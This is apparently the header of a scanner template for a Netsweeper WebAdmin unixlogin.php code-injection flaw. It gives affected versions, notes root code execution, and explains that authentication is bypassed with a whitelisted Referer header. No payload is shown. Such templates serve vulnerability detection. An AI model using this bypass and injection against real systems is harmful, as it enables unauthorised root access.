info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
  author: dwisiswant0
  severity: critical
  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.

  # This template exploits a Python code injection in the Netsweeper
  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
  # prior, to execute code as the root user.

  # Authentication is bypassed by sending a random whitelisted Referer
  # header in each request.

  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
  # been confirmed exploitable.
